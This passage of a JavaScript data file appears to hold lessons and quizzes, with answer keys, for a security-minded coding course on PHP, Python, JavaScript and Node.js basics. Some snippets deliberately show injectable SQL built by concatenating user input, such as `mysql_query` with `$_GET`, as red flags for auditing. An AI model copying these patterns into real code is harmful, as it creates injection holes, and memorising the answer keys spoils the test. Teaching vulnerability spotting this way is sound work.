     {t:'read',lang:'python',label:'Python — defining and calling',code:'def make_query(uid):           # define, uid is the argument\n    return "SELECT * WHERE id=" + uid\n\nsql = make_query(user_input)   # call it; sql holds the result\ndb.execute(sql)                # dangerous sink: runs the SQL'},
     {t:'quiz',q:'You see <code class="inl">run_command(user_data)</code> in unfamiliar code. Before reading anything else, what should raise your eyebrow?',
      opts:['Nothing, function names are arbitrary','A function whose name implies running commands is being fed user data','It uses parentheses','The variable is named user_data'],a:1,
      why:'Function <b>names</b> describe intent. A name like <code class="inl">run_command</code>, <code class="inl">exec</code>, or <code class="inl">query</code> receiving user-controlled data is a classic source→sink red flag worth tracing.'}
   ]},
   {id:'r4', name:'Control flow: if, loops & branches', xp:25, cards:[
     {t:'md',html:'<p><b>Control flow</b> decides which lines run. <code class="inl">if</code> runs a block only when a condition is true; loops (<code class="inl">for</code>, <code class="inl">while</code>, <code class="inl">foreach</code>) repeat a block.</p><p>Pentest angle: security checks are <b>if statements</b>. Find the <code class="inl">if</code> that guards a sensitive action, then ask: <i>can I make that condition go the way I want?</i> A missing or weak check is an access-control bug.</p>'},
     {t:'read',lang:'php',label:'PHP — an auth check',code:'if ($user["role"] == "admin") {   // the gate\n    deleteAllUsers();              // sensitive action\n} else {\n    echo "Access denied";\n}'},
     {t:'quiz',q:'The gate is <code class="inl">if ($user["role"] == "admin")</code>. As an attacker, what is your first question?',
      opts:['How is $user["role"] set, and can I influence it?','What color is the button?','How fast does the loop run?','Is the code indented correctly?'],a:0,
      why:'Access control lives in conditions. If <b>role</b> comes from a cookie, hidden form field, or unsigned token you can tamper with, the gate is bypassable. Always trace where the checked value originates.'}
   ]}
  ]
 },
 {
  id:'phpbasics', name:'PHP Basics', tag:'BASICS', icon:'php', accent:'violet',
  sub:'From zero: run PHP, use the interactive CLI shell, embed it in HTML, and read the syntax.',
  meta:{released:'1995',current:'PHP 8.4 (Nov 2024)',eol:'PHP 8.0 and earlier',note:'Created by Rasmus Lerdorf; maintained by The PHP Group. It powers WordPress, Laravel and much of the web.',link:'https://www.php.net/supported-versions.php'},
  lessons:[
   {id:'pb1', name:'What PHP is & how it runs', xp:15, cards:[
     {t:'md',html:'<p><b>PHP</b> is a server-side scripting language that powers a huge share of the web (WordPress, Laravel, and a great deal of legacy code). It is <b>interpreted</b>, not compiled: you do not build an executable — the <b>PHP interpreter</b> reads your <code class="inl">.php</code> file and runs it directly.</p><p>On a website the flow is: a browser requests a page → the web server hands the <code class="inl">.php</code> file to PHP → PHP runs it and produces <b>HTML</b> → that HTML is sent back. The visitor never sees the PHP source, only its output.</p>'},
     {t:'read',lang:'php',label:'hello.php',code:'<?php\necho "Hello from PHP!";\n// no build step — the interpreter runs this file directly',note:'Run it and PHP prints the text. Unlike C or Java there is no separate compile step — you hand the source straight to the interpreter.'},
     {t:'quiz',q:'PHP is best described as which kind of language?',
      opts:['Compiled to a standalone .exe before running','Interpreted — the PHP engine runs the source directly','A database','A styling language like CSS'],a:1,
      why:'PHP is <b>interpreted</b>: the engine reads and executes your source at request time. There is no manual compile step (PHP 8\'s JIT is internal and automatic).'}
   ]},
   {id:'pb2', name:'Running PHP from the command line', xp:20, cards:[
     {t:'md',html:'<p>You do not need a web server to run PHP — the <code class="inl">php</code> command does it all:</p><p>• <code class="inl">php file.php</code> — run a script<br>• <code class="inl">php -a</code> — an <b>interactive shell</b> (REPL): type PHP, press enter, see the result<br>• <code class="inl">php -r \'code\'</code> — run a one-liner with no file<br>• <code class="inl">php -S localhost:8000</code> — a built-in <b>web server</b> for quick testing<br>• <code class="inl">php -v</code> / <code class="inl">php -m</code> — version and loaded modules</p>'},
     {t:'read',lang:'php',label:'terminal',code:'$ php -v\nPHP 8.3.2 (cli)\n\n$ php -a               # interactive shell (REPL)\nphp > echo 2 + 2;\n4\nphp > $name = "world";\nphp > echo "hi $name";\nhi world\n\n$ php -S localhost:8000   # built-in dev web server',note:'<code class="inl">php -a</code> is the interactive shell — ideal for testing a snippet. <code class="inl">php -S localhost:8000</code> spins up a throwaway web server so you can open the page in a browser.'},
     {t:'quiz',q:'Which command drops you into an interactive PHP shell (REPL) in the terminal?',
      opts:['<code class="inl">php -S</code>','<code class="inl">php -a</code>','<code class="inl">php -v</code>','<code class="inl">php --compile</code>'],a:1,
      why:'<code class="inl">php -a</code> opens the interactive shell. <code class="inl">php -S</code> starts a dev web server, <code class="inl">php -v</code> prints the version, and there is no <code class="inl">--compile</code> — PHP is interpreted.'}
   ]},
   {id:'pb3', name:'Mixing PHP into HTML', xp:20, cards:[
     {t:'md',html:'<p>PHP\'s original superpower is embedding directly inside HTML. Anything between <code class="inl">&lt;?php</code> and <code class="inl">?&gt;</code> runs as PHP; everything outside those tags is sent as plain HTML.</p><p><code class="inl">&lt;?= $x ?&gt;</code> is shorthand for <code class="inl">&lt;?php echo $x; ?&gt;</code> — a quick way to print a value into the page.</p>'},
     {t:'read',lang:'php',label:'page.php',code:'<!DOCTYPE html>\n<html>\n<body>\n  <h1>Welcome</h1>\n  <?php $user = "Sam"; ?>\n  <p>Hello, <?= $user ?>!</p>\n  <?php if ($user === "Sam") { ?>\n    <p>You are an admin.</p>\n  <?php } ?>\n</body>\n</html>',note:'The HTML is sent as-is; the <code class="inl">&lt;?php ... ?&gt;</code> islands run on the server and their output is spliced in. This templating is also why <b>unescaped output</b> here becomes XSS — a direct link to the security track.'},
     {t:'quiz',q:'What does <code class="inl">&lt;?= $user ?&gt;</code> do in an HTML page?',
      opts:['Declares a variable','Short for <code class="inl">&lt;?php echo $user; ?&gt;</code> — prints the value','Imports a file','Starts a loop'],a:1,
      why:'<code class="inl">&lt;?= ... ?&gt;</code> is the <b>short echo tag</b> — it prints the expression into the HTML, identical to <code class="inl">&lt;?php echo ...; ?&gt;</code>.'}
   ]},
   {id:'pb4', name:'Variables, types & echo', xp:20, cards:[
     {t:'md',html:'<p>PHP variables always start with <code class="inl">$</code> and need no type declaration. The core types: <b>string</b>, <b>int</b>, <b>float</b>, <b>bool</b>, <b>array</b>, and <b>null</b>.</p><p>Print with <code class="inl">echo</code>. Join strings with the <b>dot</b> operator <code class="inl">.</code>. Inside <b>double quotes</b> variables are expanded; inside <b>single quotes</b> they stay literal.</p>'},
     {t:'read',lang:'php',label:'types.php',code:'<?php\n$name = "Ada";     // string\n$age  = 36;         // int\n$pi   = 3.14;       // float\n$ok   = true;       // bool\n\necho "Name: " . $name;      // -> Name: Ada\necho "Hi $name, age $age";  // -> Hi Ada, age 36\necho \'Hi $name\';            // -> Hi $name  (literal)',note:'Double quotes interpolate variables; single quotes do not. The <code class="inl">.</code> operator concatenates — and, as the security track shows, concatenating user input into SQL or HTML is where bugs begin.'},
     {t:'quiz',q:'What prints from <code class="inl">echo \'Hello $name\';</code> when <code class="inl">$name = "Sam"</code>?',
      opts:['Hello Sam','Hello $name','An error','Hello'],a:1,
      why:'<b>Single quotes</b> do not interpolate — the text is literal, so it prints <code class="inl">Hello $name</code>. Double quotes would expand it to <code class="inl">Hello Sam</code>.'}
   ]},
   {id:'pb5', name:'Arrays, loops & functions', xp:25, cards:[
     {t:'md',html:'<p>Two array styles: <b>indexed</b> (<code class="inl">[10, 20, 30]</code>) and <b>associative</b> (key ⇒ value). Loop with <code class="inl">foreach</code>, branch with <code class="inl">if/else</code>, and package reusable logic in a <code class="inl">function</code>.</p>'},
     {t:'read',lang:'php',label:'basics.php',code:'<?php\n$user = ["name" => "Ada", "role" => "admin"];   // associative array\n\nforeach ($user as $key => $value) {\n    echo "$key = $value\\n";\n}\n\nif ($user["role"] === "admin") {\n    echo "Access granted";\n}\n\nfunction greet($who) {\n    return "Hello " . $who;\n}\necho greet($user["name"]);',note:'This is the exact shape you decode when auditing: an <code class="inl">if</code> gate on <code class="inl">$user["role"]</code>, a <code class="inl">function</code> that returns a value, arrays holding request data. Reading it is the whole skill.'},
     {t:'quiz',q:'Which construct loops over every key/value pair in a PHP array?',
      opts:['<code class="inl">switch</code>','<code class="inl">foreach ($arr as $k =&gt; $v)</code>','<code class="inl">echo</code>','<code class="inl">function</code>'],a:1,
      why:'<code class="inl">foreach</code> iterates arrays; the <code class="inl">$k =&gt; $v</code> form gives you both the key and the value on each pass.'}
   ]},
   {id:'pb6', name:'Composer — packages & autoloading', xp:20, cards:[
     {t:'md',html:'<p><b>Composer</b> is PHP\'s package manager (like npm for Node or pip for Python). It reads a <code class="inl">composer.json</code> file, downloads libraries from <b>Packagist</b> into a <code class="inl">vendor/</code> folder, and writes a <code class="inl">composer.lock</code> pinning the exact versions.</p><p>One line — <code class="inl">require "vendor/autoload.php";</code> — then loads all of them automatically.</p>'},
     {t:'read',lang:'js',label:'composer.json',code:'{\n  "require": {\n    "monolog/monolog": "^3.0",\n    "guzzlehttp/guzzle": "^7.8"\n  }\n}',note:'Run <code class="inl">composer install</code> to fetch these into <code class="inl">vendor/</code>, or <code class="inl">composer require vendor/pkg</code> to add one. For a pentester, <code class="inl">composer.lock</code> is gold: it lists every dependency and exact version to check against known CVEs.'},
     {t:'quiz',q:'What is Composer to a PHP project?',
      opts:['A web server','The package manager — it installs the libraries listed in composer.json','A database engine','A debugger'],a:1,
      why:'<b>Composer</b> manages dependencies: it reads <code class="inl">composer.json</code>, pulls packages from Packagist into <code class="inl">vendor/</code>, and pins them in <code class="inl">composer.lock</code> — the file you audit for vulnerable versions.'}
   ]},
   {id:'pb7', name:'From syntax to security', xp:20, cards:[
     {t:'md',html:'<p>You can now read PHP. Here is how the basics map straight onto the security skills:</p><p>• <code class="inl">echo</code> into HTML → <b>XSS</b> if the value is untrusted<br>• string concatenation into a query → <b>SQL injection</b><br>• <code class="inl">$_GET</code> / <code class="inl">$_POST</code> superglobals → the <b>sources</b> of attacker input<br>• <code class="inl">include</code> with a variable path → <b>file inclusion</b><br>• <code class="inl">composer.lock</code> → the <b>dependency</b> audit surface</p><p>Next stop: the <b>PHP</b> security track, to hunt these for real.</p>'},
     {t:'quiz',q:'You can now read PHP well enough to audit it. Which basic feature becomes XSS when misused?',
      opts:['A foreach loop','Echoing untrusted input into HTML without encoding','Defining a function','Using Composer'],a:1,
      why:'Any <code class="inl">echo</code> of untrusted data into a page is the XSS sink — the exact pattern from the PHP security track. The basics and the bugs are the same code, read two ways.'}
   ]},
   {id:'pb8', name:'Deprecated & removed functions', xp:25, cards:[
     {t:'md',html:'<p>Languages evolve — old functions get <b>deprecated</b> (marked for removal) and eventually <b>removed</b>. Spotting them quickly dates a codebase and flags risk: legacy functions often predate modern security features.</p><p>The biggest PHP example is the old <code class="inl">mysql_*</code> extension (note: no <code class="inl">i</code>). It was <b>deprecated in PHP 5.5 (2013)</b> and <b>removed in PHP 7.0 (2015)</b> because it encouraged string-built queries and never properly supported prepared statements — a SQL-injection factory. Its replacements are <code class="inl">mysqli</code> and <code class="inl">PDO</code>.</p>'},
     {t:'read',lang:'php',label:'Legacy code = instant red flag',code:'// removed in PHP 7.0 — if you see this, the code is pre-2015\n$r = mysql_query("SELECT * FROM users WHERE id = " . $_GET["id"]);\n\n// other removed relics:\n//   ereg() , split()     -> removed 7.0  (use preg_* instead)\n//   create_function()    -> removed 8.0  (code-injection risk)\n//   each()               -> removed 8.0\n//   magic_quotes_gpc     -> removed 5.4',note:'<code class="inl">mysql_*</code>, <code class="inl">ereg</code>, <code class="inl">create_function</code> and <code class="inl">magic_quotes</code> are all gone. Their presence means unmaintained code running on an old PHP — worth a closer look and a version check.'},
     {t:'quiz',q:'You see <code class="inl">mysql_query()</code> (no "i") in a codebase. What does it tell you?',
      opts:['It is the modern, recommended API','It is a removed function (gone since PHP 7.0, 2015) — legacy, likely insecure code','It is faster than mysqli','Nothing useful'],a:1,
      why:'The <code class="inl">mysql_*</code> extension was removed in <b>PHP 7.0 (2015)</b> for encouraging injection-prone queries. Seeing it means old, unmaintained code — check the PHP version and audit those queries. Use <code class="inl">mysqli</code>/<code class="inl">PDO</code> with prepared statements.'}
   ]}
  ]
 },
 {
  id:'pybasics', name:'Python Basics', tag:'BASICS', icon:'py', accent:'violet',
  sub:'From zero: run Python, use the REPL, pip & virtual environments, and read the syntax.',
  meta:{released:'1991',current:'Python 3.13 (Oct 2024)',eol:'Python 2 (ended Jan 1, 2020)',note:'Created by Guido van Rossum. Everywhere in web, data science, automation and security tooling.',link:'https://devguide.python.org/versions/'},
  lessons:[
   {id:'pyb1', name:'What Python is & how it runs', xp:15, cards:[
     {t:'md',html:'<p><b>Python</b> is a high-level, general-purpose language famous for clean, readable syntax where <b>indentation</b> defines structure. It is <b>interpreted</b> and <b>dynamically typed</b>: you run source directly with the <code class="inl">python</code> command, with no compile step and no type declarations.</p><p>It runs everywhere — web backends (Django, Flask), data science, automation, and most security tooling.</p>'},
     {t:'read',lang:'python',label:'hello.py',code:'# hello.py — run it with:  python hello.py\nprint("Hello from Python!")\n# interpreted: the interpreter runs this directly, no build step',note:'Like PHP, Python is interpreted — hand the source to the <code class="inl">python</code> command and it runs. No separate compile step.'},
     {t:'quiz',q:'How is Python code executed?',
      opts:['Compiled to a native .exe first','Interpreted — the python interpreter runs the source directly','It runs only inside a browser','It must be converted to C'],a:1,
      why:'Python is <b>interpreted</b>: <code class="inl">python file.py</code> runs the source directly. (It compiles to bytecode internally and automatically, but there is no manual build step.)'}
   ]},
   {id:'pyb2', name:'Running Python from the command line', xp:20, cards:[
     {t:'md',html:'<p>The <code class="inl">python</code> command (sometimes <code class="inl">python3</code>) is the hub:</p><p>• <code class="inl">python file.py</code> — run a script<br>• <code class="inl">python</code> — the <b>interactive shell</b> (REPL), prompt <code class="inl">&gt;&gt;&gt;</code><br>• <code class="inl">python -c "code"</code> — a one-liner<br>• <code class="inl">python -m module</code> — run a module as a tool (e.g. <code class="inl">http.server</code>, <code class="inl">venv</code>, <code class="inl">pip</code>)<br>• <code class="inl">python --version</code></p>'},
     {t:'read',lang:'python',label:'terminal',code:'$ python --version\nPython 3.13.1\n\n$ python                 # interactive shell (REPL)\n>>> 2 + 2\n4\n>>> name = "world"\n>>> print(f"hi {name}")\nhi world\n\n$ python -m http.server 8000   # serve the current folder\n$ python -m venv .venv         # create a virtual environment',note:'Bare <code class="inl">python</code> opens the REPL. <code class="inl">python -m</code> runs a module as a command — <code class="inl">http.server</code> for a quick server, <code class="inl">venv</code> for environments.'},
     {t:'quiz',q:'How do you open Python\'s interactive shell (REPL)?',
      opts:['python -c','Run <code class="inl">python</code> with no script argument','python --compile','python -S'],a:1,
      why:'Running <code class="inl">python</code> with no file drops you into the REPL (prompt <code class="inl">&gt;&gt;&gt;</code>). <code class="inl">python -m</code> runs a module such as <code class="inl">http.server</code> or <code class="inl">venv</code>.'}
   ]},
   {id:'pyb3', name:'Variables, types & f-strings', xp:20, cards:[
     {t:'md',html:'<p>Variables are just names — no <code class="inl">$</code>, no type keywords. Core types: <b>int</b>, <b>float</b>, <b>str</b>, <b>bool</b>, <b>list</b>, <b>dict</b>, <b>None</b>. Print with <code class="inl">print()</code>. Modern string building uses <b>f-strings</b>: <code class="inl">f"...{var}..."</code>.</p>'},
     {t:'read',lang:'python',label:'types.py',code:'name = "Ada"         # str\nage  = 36             # int\npi   = 3.14           # float\nok   = True           # bool\nnums = [1, 2, 3]      # list\n\nprint("Name: " + name)           # concatenation\nprint(f"Hi {name}, age {age}")   # f-string (preferred)',note:'No sigils and no declared types — a variable is a name bound to a value. <b>f-strings</b> interpolate variables directly and are the readable default.'},
     {t:'quiz',q:'What does <code class="inl">f"Hi {name}"</code> produce when <code class="inl">name = "Sam"</code>?',
      opts:['The literal text Hi {name}','Hi Sam — the f-string inserts the variable value','An error','Hi'],a:1,
      why:'An <b>f-string</b> (the <code class="inl">f</code> prefix) evaluates <code class="inl">{name}</code> and inserts its value, giving <code class="inl">Hi Sam</code>.'}
   ]},
   {id:'pyb4', name:'Data structures & control flow', xp:25, cards:[
     {t:'md',html:'<p>Everyday containers: <b>list</b> <code class="inl">[...]</code>, <b>dict</b> <code class="inl">{key: value}</code>, plus tuples and sets. Branch with <code class="inl">if/elif/else</code>, loop with <code class="inl">for</code>/<code class="inl">while</code>, and define reusable logic with <code class="inl">def</code>. <b>Indentation</b> — not braces — marks each block.</p>'},
     {t:'read',lang:'python',label:'basics.py',code:'user = {"name": "Ada", "role": "admin"}   # dict\n\nfor key, value in user.items():\n    print(f"{key} = {value}")\n\nif user["role"] == "admin":\n    print("Access granted")\n\ndef greet(who):\n    return "Hello " + who\n\nprint(greet(user["name"]))',note:'This is the shape you decode when auditing Python: a dict holding request data, an <code class="inl">if</code> gate on a role, a <code class="inl">def</code> that returns a value.'},
     {t:'quiz',q:'What marks a block of code in Python (an if body, a loop body, a function body)?',
      opts:['Curly braces {}','Indentation (leading whitespace)','Semicolons','An end keyword'],a:1,
      why:'Python uses <b>indentation</b> to define blocks — consistent leading whitespace, not braces. Mismatched indentation is itself a syntax error.'}
   ]},
   {id:'pyb5', name:'pip & virtual environments', xp:20, cards:[
     {t:'md',html:'<p><b>pip</b> is Python\'s package installer; it fetches libraries from <b>PyPI</b>. Projects list their dependencies in <code class="inl">requirements.txt</code>. A <b>virtual environment</b> (<code class="inl">venv</code>) gives each project its own isolated set of packages so they do not collide.</p>'},
     {t:'read',lang:'python',label:'terminal',code:'$ pip install requests           # install a package from PyPI\n$ pip freeze > requirements.txt  # pin the installed versions\n$ python -m venv .venv           # create an isolated environment\n$ source .venv/bin/activate      # activate it (macOS/Linux)',note:'<code class="inl">requirements.txt</code> is the dependency surface you audit for vulnerable versions — the Python equivalent of composer.lock or package-lock.json.'},
     {t:'quiz',q:'What is pip to a Python project?',
      opts:['A web server','The package installer — it fetches libraries from PyPI','A code editor','The interpreter itself'],a:1,
      why:'<b>pip</b> installs packages from <b>PyPI</b>; projects record them in <code class="inl">requirements.txt</code>, which — like composer.lock — is the dependency list you audit for known CVEs.'}
   ]},
   {id:'pyb6', name:'Deprecated & removed (Python 2 vs 3)', xp:25, cards:[
     {t:'md',html:'<p><b>Python 2 reached end-of-life on January 1, 2020</b> — it receives no security fixes. Spotting Python 2 syntax instantly dates code and flags risk. Tells: <code class="inl">print</code> used as a statement (no parentheses), <code class="inl">xrange</code>, <code class="inl">raw_input</code>, and old <code class="inl">except Exception, e:</code> syntax.</p><p>Even within Python 3, modules get removed: <code class="inl">distutils</code> (removed 3.12) and <code class="inl">cgi</code>/<code class="inl">cgitb</code> (removed 3.13) are recent examples.</p>'},
     {t:'read',lang:'python',label:'Python 2 tells (all invalid in Python 3)',code:'print "hello"          # py2 statement; py3 needs print("hello")\nexcept Exception, e:   # py2 syntax; py3 uses  except Exception as e\nxrange(10)             # py2 only; py3 uses range()\nraw_input("name? ")    # py2 only; py3 uses input()',note:'Any of these means <b>Python 2</b> — unmaintained since 2020. Flag it: the runtime itself is unpatched, on top of whatever the app code does.'},
     {t:'quiz',q:'You see <code class="inl">print "hello"</code> (no parentheses). What does it tell you?',
      opts:['Modern, idiomatic Python 3','It is Python 2 — end-of-life since Jan 1, 2020 and no longer patched','A performance optimization','A type annotation'],a:1,
      why:'<code class="inl">print</code> as a statement is <b>Python 2</b>, which reached end-of-life on Jan 1, 2020. Unpatched Python 2 in production is a finding in itself.'}
   ]}
  ]
 },
 {
  id:'jsbasics', name:'JavaScript Basics', tag:'BASICS', icon:'js', accent:'violet',
  sub:'The language itself (ECMAScript): how it runs, its syntax, and its legacy features.',
  meta:{released:'1995',current:'ECMAScript 2026 (ES2026)',eol:'None — the spec is additive',note:'Created by Brendan Eich at Netscape. The language is standardized as ECMAScript; it runs inside a host (a browser, or a runtime like Node.js) on an engine such as V8.',link:'https://tc39.es/ecma262/'},
  lessons:[
   {id:'jsb1', name:'What JavaScript is (the language)', xp:15, cards:[
     {t:'md',html:'<p><b>JavaScript</b> is a high-level, dynamically typed language standardized as <b>ECMAScript</b> — a spec updated every year (the current edition is <b>ES2026</b>). It is <b>interpreted</b> (JIT-compiled internally), with no separate build step.</p><p>JavaScript never runs on its own: it runs inside a <b>host</b> that provides a JS <b>engine</b>. The two big hosts are the <b>browser</b> (engines like V8 and SpiderMonkey) and <b>Node.js</b> (a server runtime — its own track). The <i>language</i> is identical in both; what changes is what the host lets it touch.</p>'},
     {t:'read',lang:'js',label:'Pure ECMAScript — runs in any host',code:'const greet = (name) => `Hello ${name}`;\nconsole.log(greet("world"));   // Hello world\n// nothing here is browser- or Node-specific: it is just the language',note:'This snippet is plain ECMAScript — it behaves the same in a browser console or under Node. The browser adds the DOM; Node adds files and networks; the core language stays the same.'},
     {t:'quiz',q:'How is the JavaScript language formally standardized?',
      opts:['As Node.js','As ECMAScript, updated yearly (current: ES2026)','As HTML5','It has no standard'],a:1,
      why:'The language is <b>ECMAScript</b>, maintained by TC39 with a new edition each year. "JavaScript" is the common name; <b>Node.js</b> is a runtime that executes it, not the language itself.'}
   ]},
   {id:'jsb2', name:'Running JavaScript', xp:20, cards:[
     {t:'md',html:'<p>You run JavaScript wherever there is an engine:</p><p>• <b>In a browser</b> — load it with a <code class="inl">&lt;script&gt;</code> tag, or open <b>DevTools → Console</b>, which is a live REPL.<br>• <b>On your machine</b> — install <b>Node.js</b> and run <code class="inl">node file.js</code> or the <code class="inl">node</code> REPL.</p><p>The browser console is the quickest way to try a snippet; the Node runtime is covered in its own track.</p>'},
     {t:'read',lang:'js',label:'browser DevTools console',code:'> 2 + 2\n4\n> const name = "Ada"\n> `hi ${name}`\n\'hi Ada\'\n// the Console tab evaluates each line, like a REPL',note:'Open DevTools (F12 / right-click → Inspect) and pick the <b>Console</b> tab. It runs the page\'s JavaScript and anything you type — perfect for experimenting.'},
     {t:'quiz',q:'What is the quickest way to run a JavaScript snippet with no setup?',
      opts:['Compile it with gcc','The browser DevTools Console (a built-in REPL)','Upload it to a server','You cannot run JS without Node'],a:1,
      why:'Every browser ships a JavaScript engine and a <b>Console</b> (DevTools) that acts as a REPL — no install needed. For running JS outside the browser, you use the Node.js runtime.'}
   ]},
   {id:'jsb3', name:'Variables, types & template literals', xp:20, cards:[
     {t:'md',html:'<p>Declare variables with <code class="inl">const</code> (cannot be reassigned) or <code class="inl">let</code> (can). The old <code class="inl">var</code> is legacy. Types are dynamic: <b>string</b>, <b>number</b>, <b>boolean</b>, <b>object</b>, <b>array</b>, <code class="inl">null</code>, <code class="inl">undefined</code>.</p><p>Build strings with <b>template literals</b> — backticks with <code class="inl">${...}</code> — instead of clunky <code class="inl">+</code> concatenation.</p>'},
     {t:'read',lang:'js',label:'types.js',code:'const name = "Ada";        // string\nlet   age  = 36;            // number\nconst ok   = true;          // boolean\nconst nums = [1, 2, 3];     // array\n\nconsole.log("Hi " + name);              // concatenation\nconsole.log(`Hi ${name}, age ${age}`);  // template literal (preferred)',note:'Prefer <code class="inl">const</code> by default, <code class="inl">let</code> when you must reassign, and avoid <code class="inl">var</code>. Template literals read better than <code class="inl">+</code> and are the modern default.'},
     {t:'quiz',q:'What does <code class="inl">`Hi ${name}`</code> do when <code class="inl">name = "Sam"</code>?',
      opts:['Prints the literal Hi ${name}','Produces "Hi Sam" — a template literal inserts the value','Throws an error','Defines a function'],a:1,
      why:'A <b>template literal</b> (backticks) evaluates <code class="inl">${name}</code> and inserts its value, giving <code class="inl">Hi Sam</code>.'}
   ]},
   {id:'jsb4', name:'Objects, arrays & functions', xp:25, cards:[
     {t:'md',html:'<p><b>Objects</b> hold key/value data <code class="inl">{ }</code>; <b>arrays</b> hold ordered lists <code class="inl">[ ]</code>. Branch with <code class="inl">if/else</code>, loop with <code class="inl">for...of</code>, and define logic with functions — classic <code class="inl">function</code> or short <b>arrow functions</b> <code class="inl">=&gt;</code>.</p>'},
     {t:'read',lang:'js',label:'basics.js',code:'const user = { name: "Ada", role: "admin" };   // object\n\nfor (const [key, value] of Object.entries(user)) {\n  console.log(`${key} = ${value}`);\n}\n\nif (user.role === "admin") {\n  console.log("Access granted");\n}\n\nconst greet = (who) => "Hello " + who;   // arrow function\nconsole.log(greet(user.name));',note:'This is the shape you audit in JS code: an object holding data, an <code class="inl">if</code> gate on a role, an arrow function returning a value. Use <code class="inl">===</code> (strict), not <code class="inl">==</code>.'},
     {t:'quiz',q:'What is an arrow function <code class="inl">(x) =&gt; x + 1</code>?',
      opts:['A comparison operator','A shorter syntax for defining a function','An array','A loop'],a:1,
      why:'Arrow functions (<code class="inl">=&gt;</code>) are a compact way to write functions. Here it takes <code class="inl">x</code> and returns <code class="inl">x + 1</code>.'}
   ]},
   {id:'jsb5', name:'Deprecated & legacy JavaScript', xp:25, cards:[
     {t:'md',html:'<p>Legacy language patterns are tells of aging code:</p><p>• <code class="inl">var</code> instead of <code class="inl">let</code>/<code class="inl">const</code> — function-scoped with hoisting surprises.<br>• Loose <code class="inl">==</code> instead of strict <code class="inl">===</code> — does type coercion (<code class="inl">0 == ""</code> is true).<br>• The <code class="inl">with</code> statement — forbidden in strict mode.<br>• Old patterns like <code class="inl">arguments</code> instead of rest params <code class="inl">(...args)</code>.</p>'},
     {t:'read',lang:'js',label:'Legacy tells',code:'var x = 1;            // legacy: prefer let / const\nif (a == b) { }       // loose equality: prefer ===\nwith (obj) { y = 1; } // forbidden in strict mode\n\n"use strict";         // opts into safer semantics; ES modules are strict by default',note:'Lots of <code class="inl">var</code> and <code class="inl">==</code>, or a <code class="inl">with</code> block, mark old, unmodernised JavaScript. Modern code uses <code class="inl">let</code>/<code class="inl">const</code>, <code class="inl">===</code>, and strict mode.'},
     {t:'quiz',q:'Why prefer <code class="inl">===</code> over <code class="inl">==</code> in JavaScript?',
      opts:['=== is faster to type','=== compares without type coercion, avoiding surprises like <code class="inl">0 == ""</code> being true','== is removed from the language','They are identical'],a:1,
      why:'Loose <code class="inl">==</code> coerces types before comparing, producing surprises (<code class="inl">0 == ""</code>, <code class="inl">"" == false</code>). Strict <code class="inl">===</code> checks type and value, which is predictable.'}
   ]}
  ]
 },
 {
  id:'nodebasics', name:'Node.js Basics', tag:'RUNTIME', icon:'node', accent:'violet',
  sub:'The runtime that runs JavaScript on the server: the CLI, modules, npm, and its pitfalls.',
  meta:{released:'2009',current:'Node.js 24 LTS',eol:'Node.js 18 and earlier',note:'Created by Ryan Dahl. A runtime, not a language — it runs JavaScript outside the browser on Google\'s V8 engine, using a non-blocking, event-driven model.',link:'https://nodejs.org/en/about/previous-releases'},
  lessons:[
   {id:'nb1', name:'What Node.js is', xp:20, cards:[
     {t:'md',html:'<p><b>Node.js is a runtime, not a language.</b> It runs JavaScript outside the browser on Google\'s <b>V8</b> engine, with a non-blocking <b>event loop</b> that handles many connections without a thread per request.</p><p>Crucially, Node gives JavaScript the powers the browser sandbox withholds: the filesystem (<code class="inl">fs</code>), the network (<code class="inl">http</code>, <code class="inl">net</code>), and processes (<code class="inl">child_process</code>). That is exactly why server-side JS bugs — command injection, path traversal, SSRF — live in Node code.</p>'},
     {t:'read',lang:'js',label:'server.js — a Node HTTP server',code:'const http = require("http");           // a Node built-in, not in browsers\nhttp.createServer((req, res) => {\n  res.end("Hello from Node");\n}).listen(3000);\n// run it:  node server.js',note:'The <code class="inl">http</code>, <code class="inl">fs</code> and <code class="inl">child_process</code> modules exist only in Node — the browser has no such access. Node is where JavaScript touches the machine.'},
     {t:'quiz',q:'Node.js is best described as…',
      opts:['A new programming language','A runtime that executes JavaScript outside the browser, with file and network access','A web browser','A CSS framework'],a:1,
      why:'<b>Node.js</b> is a <b>runtime</b> built on V8. It runs the JavaScript language on servers and gives it OS access (files, network, processes) that browsers deliberately withhold.'}
   ]},
   {id:'nb2', name:'Running Node & the CLI', xp:20, cards:[
     {t:'md',html:'<p>The <code class="inl">node</code> command runs JavaScript on your machine:</p><p>• <code class="inl">node file.js</code> — run a script<br>• <code class="inl">node</code> — the interactive <b>REPL</b><br>• <code class="inl">node -e "code"</code> — a one-liner<br>• <code class="inl">npx pkg</code> — run a package without installing it globally<br>• <code class="inl">node --version</code></p>'},
     {t:'read',lang:'js',label:'terminal',code:'$ node --version\nv24.4.0\n\n$ node                 // interactive REPL\n> 2 + 2\n4\n> require("os").platform()\n\'darwin\'\n\n$ node app.js          // run a script\n$ npx cowsay hello     // run a package without installing it',note:'Bare <code class="inl">node</code> opens the REPL, where you can even <code class="inl">require()</code> built-in modules. <code class="inl">npx</code> runs a package on demand without a global install.',},
     {t:'quiz',q:'How do you open the Node.js interactive shell (REPL)?',
      opts:['node --repl','Run <code class="inl">node</code> with no script argument','node -c','npm start'],a:1,
      why:'Running <code class="inl">node</code> with no file starts the REPL. <code class="inl">node file.js</code> runs a script; <code class="inl">npx</code> runs a package without a global install.'}
   ]},
   {id:'nb3', name:'Modules: CommonJS vs ES modules', xp:25, cards:[
     {t:'md',html:'<p>Node has <b>two</b> module systems, and you will read both:</p><p>• <b>CommonJS</b> (the classic) — <code class="inl">const x = require("./x")</code> and <code class="inl">module.exports = ...</code>.<br>• <b>ES modules</b> (modern) — <code class="inl">import x from "./x.js"</code> and <code class="inl">export</code>, enabled by <code class="inl">"type": "module"</code> in package.json or an <code class="inl">.mjs</code> extension.</p><p>Knowing which one a file uses tells you how it loads code and what an attacker-controlled path could pull in.</p>'},
     {t:'read',lang:'js',label:'Two ways to import',code:'// CommonJS\nconst fs = require("fs");\nmodule.exports = { helper };\n\n// ES modules  ("type":"module" or .mjs)\nimport fs from "fs";\nexport { helper };',note:'Same runtime, two syntaxes. <code class="inl">require()</code> with a user-controlled path is a classic footgun — it can load unexpected local files or modules.'},
     {t:'quiz',q:'What are the two module systems you see in Node.js code?',
      opts:['HTML and CSS','CommonJS (<code class="inl">require</code>) and ES modules (<code class="inl">import</code>)','SQL and NoSQL','GET and POST'],a:1,
